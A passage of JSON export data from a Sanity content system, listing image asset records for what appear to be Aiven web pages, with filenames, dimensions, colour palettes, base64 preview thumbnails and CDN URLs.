pylgiLrYbe/vL3gzqc660uLbdSvHceRIUDk7J13md3dJjcv5PxOd7bNB8Z7GxhlzfmkSywViBhlRht//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d3953","foreground":"#fff","population":0.3,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#82711c","foreground":"#fff","population":3.74,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#848279","foreground":"#fff","population":5.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#adb2c0","foreground":"#000","population":0.78,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d5c9a0","foreground":"#000","population":3.58,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848279","foreground":"#fff","population":5.76,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5484b4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"swift-warehouse.png","path":"images/sczeoy4w/production/5adab4a00c9be66bd9bf1a2757bac3f55d8e2ce5-1920x1037.jpg","sha1hash":"5adab4a00c9be66bd9bf1a2757bac3f55d8e2ce5","size":1211362,"uploadId":"w2sSVwfbyZpuwGGtS0B45p0yt0TPa6qz","url":"https://cdn.sanity.io/images/sczeoy4w/production/5adab4a00c9be66bd9bf1a2757bac3f55d8e2ce5-1920x1037.jpg"} {"_createdAt":"2024-01-10T11:08:59Z","_id":"image-5b2526dc8c55aec060d0410c65c5e5e3e8a96082-6786x2030-png","_rev":"sEx8dZoeB26hd431UgQAgS","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T11:08:59Z","assetId":"5b2526dc8c55aec060d0410c65c5e5e3e8a96082","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.342857142857143,"height":2030,"width":6786},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABYlAAAWJQFJUiTwAAABcklEQVQYlX3QyUokQRQF0ET8GxPcm7hx56e46q9oRJFCxQEXJa3pwl9IEdw4VTl00Q5li+2AQ2Vl5RSR8eLFZIRY6q7xweFe7vJ5WZLZNCO2l5W2IMQCcotCWkT15RWF2uNcjp9f3g4657zveEVOHaHgSAWOATgppVNKfzLvLANsXV3fTCys1Icna0tDM4u//NrSmj89v+pPzdf9uZUNf7G+6c8ur/sepWCAoYEKDGfMCI5GojAKhVZCGsGFzpI8/ttubzcahxu7B81w/6gVNk/Pw8bpWdg4OQuPW5fhyZ92ePT7IvQYwwgqiKq8iGgvjUiSRmU3jUgv3YL+Vmylz0kzj+NOnsSQdGNIswzykkBBaF9JKyC06qcHIAIgLCg73aD38Bi83DwEj9d3QefffZA/PY8UT/Eo5OSHQWxpDhYZdQLBKSWc1rLPGPVBC+e93/+eW/u5/NnNgHN2zFq7o5WSnHPNkSshhf4ildRSgEZI9RsreJIxZH8dCAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#374150","foreground":"#fff","population":1.43,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#202c44","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#374150","foreground":"#fff","population":1.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcb4cc","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94c4ec","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5464a4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#486ca8","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-service-uri.png","path":"images/sczeoy4w/production/5b2526dc8c55aec060d0410c65c5e5e3e8a96082-6786x2030.png","sha1hash":"5b2526dc8c55aec060d0410c65c5e5e3e8a96082","size":320422,"uploadId":"TTNmCcN9nOcBeAIJrIMdOyUhMW9IBgSb","url":"https://cdn.sanity.io/images/sczeoy4w/production/5b2526dc8c55aec060d0410c65c5e5e3e8a96082-6786x2030.png"} {"_createdAt":"2023-02-03T13:06:40Z","_id":"image-5b31cc5e7cca4ad321c2678bd2cdfbe70c647d22-2500x1308-jpg","_rev":"pnOvEyahjeT2Gte9fmiqOR","_type":"sanity.imageAsset","_updatedAt":"2023-02-03T13:06:40Z","assetId":"5b31cc5e7cca4ad321c2678bd2cdfbe70c647d22","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M75Ymv.8MxM|j]_4%gM{M{kCogt6ogWBjY","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAQBAwf/xAAiEAABBAECBwAAAAAAAAAAAAACAAEDBAUREiEiI0FicZH/xAAWAQEBAQAAAAAAAAAAAAAAAAACBQb/xAAYEQEBAQEBAAAAAAAAAAAAAAABADECIf/aAAwDAQACEQMRAD8Ax+HK1ArxRyY6MiBtHPuSXyNqpb5oKjVz8X4fElK/TD0qxWoOTaIrkbUKUJR8v//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#522a41","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":66.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":66.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a2bbd7","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4acfc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#617798","foreground":"#fff","population":0.91,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b34c51","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Long_Term_Logging_with_Kafka_and_OpenSearch_social_media (1).jpg","path":"images/sczeoy4w/production/5b31cc5e7cca4ad321c2678bd2cdfbe70c647d22-2500x1308.jpg","sha1hash":"5b31cc5e7cca4ad321c2678bd2cdfbe70c647d22","size":539726,"uploadId":"Kv396o08HyVKVgqtr4Dkhir3vcNA5ZDj","url":"https://cdn.sanity.io/images/sczeoy4w/production/5b31cc5e7cca4ad321c2678bd2cdfbe70c647d22-2500x1308.jpg"} {"_createdAt":"2023-09-07T07:01:42Z","_id":"image-5b468b40e453b3e8b9d8caf5861247af7fa58945-1030x400-webp","_rev":"7lO65z9OheRFnytB4Yukne","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T07:01:42Z","assetId":"5b468b40e453b3e8b9d8caf5861247af7fa58945","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"DAHnc=?{Lyx?D6{nC%=y#E6x","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.575,"height":400,"width":1030},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFgABAQEAAAAAAAAAAAAAAAAAAAUC/8QAIhAAAQQBBAIDAAAAAAAAAAAAAQACAwQFERIhMhMVIkFh/8QAFQEBAQAAAAAAAAAAAAAAAAAABQT/xAAaEQACAwEBAAAAAAAAAAAAAAABAwACIQQU/9oADAMBAAIRAxEAPwCf7PHWsaxoneWh3Yt7fi3gqtSpk4LNahNGJXabpG/E8IiMGkRLtZ5+azFjQJZiLaXkiZHVkbvLgZOCNfpERXCoAgfK+zk0ZfSRuT//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#59442e","foreground":"#fff","population":7.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#137a3b","foreground":"#fff","population":1.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#59442e","foreground":"#fff","population":7.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7a794","foreground":"#000","population":2.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ee7b8","foreground":"#000","population":2.52,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17f5b","foreground":"#fff","population":2.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1fbc7d","foreground":"#fff","population":4.81,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"aussen_2_final_online_72dpi_srgb_web.webp","path":"images/sczeoy4w/production/5b468b40e453b3e8b9d8caf5861247af7fa58945-1030x400.webp","sha1hash":"5b468b40e453b3e8b9d8caf5861247af7fa58945","size":133980,"uploadId":"iC7dw8cS7dSDiaHqFvIZr6XP92tFRLpn","url":"https://cdn.sanity.io/images/sczeoy4w/production/5b468b40e453b3e8b9d8caf5861247af7fa58945-1030x400.webp"} {"_createdAt":"2024-07-04T07:22:08Z","_id":"image-5b86aa9a51952931cf58f9b5490719adfadac846-1200x628-png","_rev":"GIOwkysrijyYbzGkS2RXt7","_type":"sanity.imageAsset","_updatedAt":"2024-07-04T07:22:08Z","assetId":"5b86aa9a51952931cf58f9b5490719adfadac846","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MJIhNhELtRWBkC_M^*ocNat79FtQtPRiWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACsklEQVQokSXO7U8aBwCAcf6RJtuyt2yLNsuWLHa0tMuom3Gpm6tM187WVVvEYuwJBRUKgkJFoVDlEA7hEE5O3jzehAJ2/dB/61nmPjxff3l0vfcyrXdhyp2XxOQVxJxAuyHyflCi38pzfBQluufDuyGw6RKIBF0EPKu47BZePF9ke8NC2C+QOdhGUxLotH6GbPklRe0VkuIlEl9BVcK8657wpp4jLe4Q8NqxLc/jFMzsbDpwrS5ht86zITzBv7ZEIuyhnDugUUyh67wtkVEiFNTXJA99eNYWSETc9LQsg2aeSiFONhEiEfGTjAVIxYL4nM/w2K3s+hzsh9wUkmEaRYlmUULXbsrUKhKNqkxq7wWbT2cRA07apRQXrfwl2m8W6DdPGDSLtCsyihRDkaLU8odoSvISa5+maakSut3NZ0j7QU4yIjGvg127mVzMR/1EpFM74o0m06/nuGgq/NNWedsqMmgoDOoKA61Ar5ajW8lyXjr6H5weM7BmXSC85cUtPMVvW0La85Ld3yInBsiLAdJhF3LUg5aL0atmGGh5LuoFBmfH9Koy3XKGTilN+1RCN/LlJ8z+PsG6sMzy4zlWnzxgy27BuXgf+4KJjcVpzCYji1M/8so5jxJ1cypuc5aJ0FWT9MoZuqUjOqdpzv87/OrDKxj1IzycmeLRPRPmB9NYH91j5s4ok6PXeThhYPLWMHdvDeP400jIMsme9Q8O3WaqiW3OC3FaSoJmQbxM9/XHV9APfc4vN0eYHDNy97c7mEwmxsfHMN78nqmf9Tz+VY/zLyM7SxO8FkzEbTOk1uc4Dq6g7nuopoJUUwEqh350hi8+4PbQR4xe/ZTrQ5/x7dVhrulvYDDcQP/dN4z/cA3b/Z84sJmQvXMUQ1ZqMRtqaJm4Y5b4+t+o0eecHThRdyz8C3kuBGxtBgbaAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#503625","foreground":"#fff","population":2.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#65412c","foreground":"#fff","population":3.39,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c3bcac","foreground":"#000","population":7.36,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c3bcac","foreground":"#000","population":7.36,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9cdb3","foreground":"#000","population":0.32,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e8965","foreground":"#fff","population":2.67,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc7461","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"BackMarketB3.png","path":"images/sczeoy4w/production/5b86aa9a51952931cf58f9b5490719adfadac846-1200x628.png","sha1hash":"5b86aa9a51952931cf58f9b5490719adfadac846","size":825098,"uploadId":"YRuNxAmvUvOMQBIPbZU0XSA1yrz8IUbj","url":"https://cdn.sanity.io/images/sczeoy4w/production/5b86aa9a51952931cf58f9b5490719adfadac846-1200x628.png"} {"_createdAt":"2022-06-30T19:59:57Z","_id":"image-5bab3a6a44921f609554433f17703f324a9b494f-881x342-png","_rev":"waESC1SXj0AdlOPdeM3lLm","_type":"sanity.imageAsset","_updatedAt":"2023-02-20T09:07:57Z","altText":"Add configuration option in the Advanced configuration section in the Aiven Console","assetId":"5bab3a6a44921f609554433f17703f324a9b494f","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8Ryyy^+${~qInGd$dxsr=aK","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.5760233918128654,"height":342,"width":881},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABMUlEQVQokW2Qy27kIBAA5///KMfc9zaRIuWQZCaRZcCAoXl5fKgIO7NxtHsoNYKm+nGa5xnvPc45YozEXFHhxmVqXE3lY+q0Q9z57Njvs10Y/MoYVk4iwp2UEpIr49x404W3MfGudi46czWFj1/UPfZipvI+CqdaK0dSLkw+MmjPoNyOdigbsCHjY8XLD7M0bMy8DgN/ns+cWmscyTlv4yutUUpvUWuNtXabovTCrVFrp9LaQsiB83jm4eVhF967uwu9c0xKY5TCKM1kDH3XfSVb3pbbxZWlC0vgyT/xqB9/OrwLa84kPyOTRcyEWIeEuBU6rmaTfpNLQqWRq1z+I+wfUqZG2eldlfLrfROVwiKJWxRuIbLESBP5V3is/JdDTt9fv1tSZvWBdXKsxu7RB74AuHpj7BiAxOAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56515c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#10b910","foreground":"#fff","population":0.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#10b910","foreground":"#fff","population":0.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0cca8","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a4efa6","foreground":"#000","population":0.12,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6494a8","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0ee80e","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"5bab3a6a44921f609554433f17703f324a9b494f-881x342.png","path":"images/sczeoy4w/production/5bab3a6a44921f609554433f17703f324a9b494f-881x342.png","sha1hash":"5bab3a6a44921f609554433f17703f324a9b494f","size":39189,"title":null,"uploadId":"jMZI6joQyNAZQ7GpAA6EFOk9HQSLp2YH","url":"https://cdn.sanity.io/images/sczeoy4w/production/5bab3a6a44921f609554433f17703f324a9b494f-881x342.png"} {"_createdAt":"2024-02-26T13:12:26Z","_id":"image-5bced2482dcafe8e27391f2413d65249962b0aa5-1201x163-png","_rev":"6Tmq0Usbhno9jPxna4R24L","_type":"sanity.imageAsset","_updatedAt":"2024-02-26T13:12:26Z","assetId":"5bced2482dcafe8e27391f2413d65249962b0aa5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"460nG?dHl%Y;lj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":7.368098159509202,"height":163,"width":1201},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAACCAYAAABYBvyLAAAACXBIWXMAAAsSAAALEgHS3X78AAAAf0lEQVQImS3MMWoCYQBEYWHnY9cmHiR4hCWVpU0ILiKJhYEkqKm0E8TOLFiIdQ6QW4YfLIY3PJgZ4BcbLPCBryQv+MTh7t7wnaSwwytmJamyMRrO6+XjU9O30wH+ktyS/OCUZF/GpeOCczm++zWOuGKH51R599B09Wo8afp2+w9p+xXvDE+IzwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#294939","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#08843d","foreground":"#fff","population":1.3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#08843d","foreground":"#fff","population":1.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#14844a","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8cedbb","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#14844a","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#15874c","foreground":"#fff","population":0.31,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"boldstart logo.png","path":"images/sczeoy4w/production/5bced2482dcafe8e27391f2413d65249962b0aa5-1201x163.png","sha1hash":"5bced2482dcafe8e27391f2413d65249962b0aa5","size":13090,"uploadId":"ATrDnONcX2RRj5JUPbDDe5hoXu0fy4aP","url":"https://cdn.sanity.io/images/sczeoy4w/production/5bced2482dcafe8e27391f2413d65249962b0aa5-1201x163.png"} {"_createdAt":"2024-05-20T07:28:03Z","_id":"image-5be44b6f7b7839abd0edb555853e0aaa8905fac5-3266x1784-jpg","_rev":"5dKvdU2b7V4fiIIxYxN4d9","_type":"sanity.imageAsset","_updatedAt":"2024-05-20T07:28:03Z","assetId":"5be44b6f7b7839abd0edb555853e0aaa8905fac5","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M8Ss52%MV[xu_1~pM|WBt6Rl%MWBWBofRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8307174887892377,"height":1784,"width":3266},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAECAwj/xAAeEAACAgEFAQAAAAAAAAAAAAABAgADIRESEzFBUf/EABUBAQEAAAAAAAAAAAAAAAAAAAAB/8QAFBEBAAAAAAAAAAAAAAAAAAAAAP/aAAwDAQACEQMRAD8A0/nmYbsDzSTuuVUDM2wa9nEZA5DiK2mu9dlqK6/DKLa3V1DKQQfRCKqtKqwlahVHQEJB/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474649","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3743a7","foreground":"#fff","population":0.64,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3743a7","foreground":"#fff","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a7cd","foreground":"#000","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8e94f2","foreground":"#000","population":0.13,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c4ca4","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2d48d5","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"aiven-for-caching-create-free-service-in-aiven-console.jpg","path":"images/sczeoy4w/production/5be44b6f7b7839abd0edb555853e0aaa8905fac5-3266x1784.jpg","sha1hash":"5be44b6f7b7839abd0edb555853e0aaa8905fac5","size":346862,"uploadId":"Vy8bkgpJ4cWPKPeAIatwKdnt13Y14kWW","url":"https://cdn.sanity.io/images/sczeoy4w/production/5be44b6f7b7839abd0edb555853e0aaa8905fac5-3266x1784.jpg"} {"_createdAt":"2022-06-15T20:01:39Z","_id":"image-5bf398e2605475c2240bc6c456927755114ac7ba-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEauUI","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:45Z","assetId":"5bf398e2605475c2240bc6c456927755114ac7ba","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MZPF}]_4-q5R-oktOXVrxtV[%fNGMxxGn+","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADOUlEQVQokTXD/VPTdhwA4PyX8zYcAx03d8qAlZeOyQ4cQ2RDxxBBjzd1SNvwpmd7DasyQV1fKKWlbZqkpEma0iTfJF3TForw+eynPXcPVZD1Hj5fXMzxspflpOUsW1hgOWmRF4p/8vmijxcUWpTKdFmv0idaxReNJTdoej24ufmSCUcOtjIHmU3+7d4rORB6rr2L/kTleGU+kWS56P6RGY2lypFY8iQSS5b342k9nsiSeIIlGVYkikrIsVgie+/D5mt/wA4GGXt394OZCb0hxakHltHTJ1e6b4couUi8ebFkcoKC/88JCvJCEQVBRoHLo3RcQEVWMJFIYTD4F/oDAdxmGHwb8GOSfoHqUB+SK1dOnc/a0pROaqs6qema4aBmOJe64YCmV0EzqmAoEljZf8Dg9uEo/hE21tdgefkprK564NXmBvy96YOkd+myMD2B2t07lerDmT3KMOsew6wbhllDw6wDObHBykpgpQSwkwmoxBlUEzvwkl7Fvt5e7OrqwrGxMZx9NIO+p4v4xrcCKf8WlsPv7JpwxFAGcTwGcQyDVJGYVbAEBR1fEOtTy+jQq2h9pJH/QOOzx7/jtfZ2bGlpQZfLhcPDw/jL6Cg+mJwE/9YGytmE3TjhGYqQiscktmEZFloGufz3iIXG7Aqc9w1B82EnVPwdkF6/BY/vfQ9fX2uH1tZW6O7uBrfbDb1dnTDQ+S0szc1gJrprN5QUQ9m67rE1Tbe1MlbKpUuH56AR2oGzlXn4RN+COvM5HNI3YWq0B77puA5fXr0KHR0d4HK5YPC7GzDR+dXl2twkspGQdSrFGaoqCV5L5IhR4NAu5rGm5rEhc3jKRbGZ2cLTrBfF8BoGvAs4P/0rul1d2N7Whq7eXrz/8xC+nh5BbnsFbXavciHHtqla7mDaTMfipWxcImL6uF7ixNMyL56dsGKzlBaaairniPGclnmfE8LB3PO5+1znzRtSf3+/ujD7R+GQ8QgNdqcAciQJSvQZ1RBTX1Tzh0P2cfKeI6fHz9TseFPNjJ+r6bvn6tHIJzX540UxMQhqYrApRQfDgRdDI7cHfvvBPfBoZenJhBQP3bmQI+NYjA2DEr3+H+jctopurmY4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#444244","foreground":"#fff","population":0.81,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a500a","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#eda124","foreground":"#000","population":2.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cf9daa","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c94","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#86554e","foreground":"#fff","population":0.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eda124","foreground":"#000","population":2.63,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5bf398e2605475c2240bc6c456927755114ac7ba-1567x844.png","path":"images/sczeoy4w/production/5bf398e2605475c2240bc6c456927755114ac7ba-1567x844.png","sha1hash":"5bf398e2605475c2240bc6c456927755114ac7ba","size":835476,"uploadId":"MUQYjYv5JI2hmmPHVsO240Y7AaU54YaC","url":"https://cdn.sanity.io/images/sczeoy4w/production/5bf398e2605475c2240bc6c456927755114ac7ba-1567x844.png"} {"_createdAt":"2024-04-04T01:21:50Z","_id":"image-5cb064c109909b6ab1e160194e90f9794f01aaa6-2400x1256-png","_rev":"CWoXqYNr7QRdiSPoRqG8Az","_type":"sanity.imageAsset","_updatedAt":"2024-04-04T01:21:50Z","assetId":"5cb064c109909b6ab1e160194e90f9794f01aaa6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7TEBldJKit6Q:}@xCs+rtn5vMv~w^w]t6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":1256,"width":2400},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACXklEQVQokSXSb0+TBxSG8WerokYYOJAirNHalGFF1DlTZkPBZFtM9mrzD0IwEBSkFJXRotucwU2EEqqIjEAyM+Nc9jWW7BNsH0LfmBhjNFuiXJeB58XJeffLfeecgO6tMrBThhrl4vo0SC4q+XoZ3i7nI3ohIsMRyUXk0ma5ViMzCbnbJnf2S7lFFtrk/hEDeitlJC7jKSm0SiElk/vkWkqKCSnu1qt75Lvd8kNcphJSapPlTnlwQlaPy1J6A+NOyoBzO2TioNzIys0u+alLpo/L7S653SGzWZ3LylyHlLOy0CkrJ+Rxt/zZJ4++kd++ktVOKcUN6KuWKyn9vl2vt8uPaZk6Jj9nZDojsx06m5GZtJTSUs7I8ufy8Gv5o1t+PyWPT8qDL2U+afCmt8pXoy2+Hj/k27GEjO2RK3GZ2CuFuBRiWmiUiagUo3I9JjP7ZDEd1v31ixBb7Qgrv+it9Z/cZ/57OevLXEJzTTL2kVxqknydjFRKbpuMbpH8ZhnfJjcaZK5F7n0ii4dk8XC4yx8bPDv9gX/1pPy7/6DPz8f0YlRGd8nYrhDM18i3tTJZJ8UamayWqUaZT8m9w+GF55Oy0Cp3Ww3+O1Xhk56oT/tj/j9YL4M1MvSh5NfhWhmtkqsNcisptxJyMybTe8OXWb/sBtgcplxOG6ydqXBtoN61oSa5UC8DVTJYJSO1MlItw1ulWCellJTbZCYppeaw7i9HN1KxcGADYyVjsHbyPddRzm6RngrpjUhfRPo3yUBEBt+Xy5UynZTygTDdbLPc/1SW22XpiCwdlZVjuprxHUi1ChcWfksZAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e2325","foreground":"#fff","population":0.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#832b01","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":9.17,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#964602","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc943c","foreground":"#000","population":5.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a86e49","foreground":"#fff","population":0.46,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":9.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Ops risk management 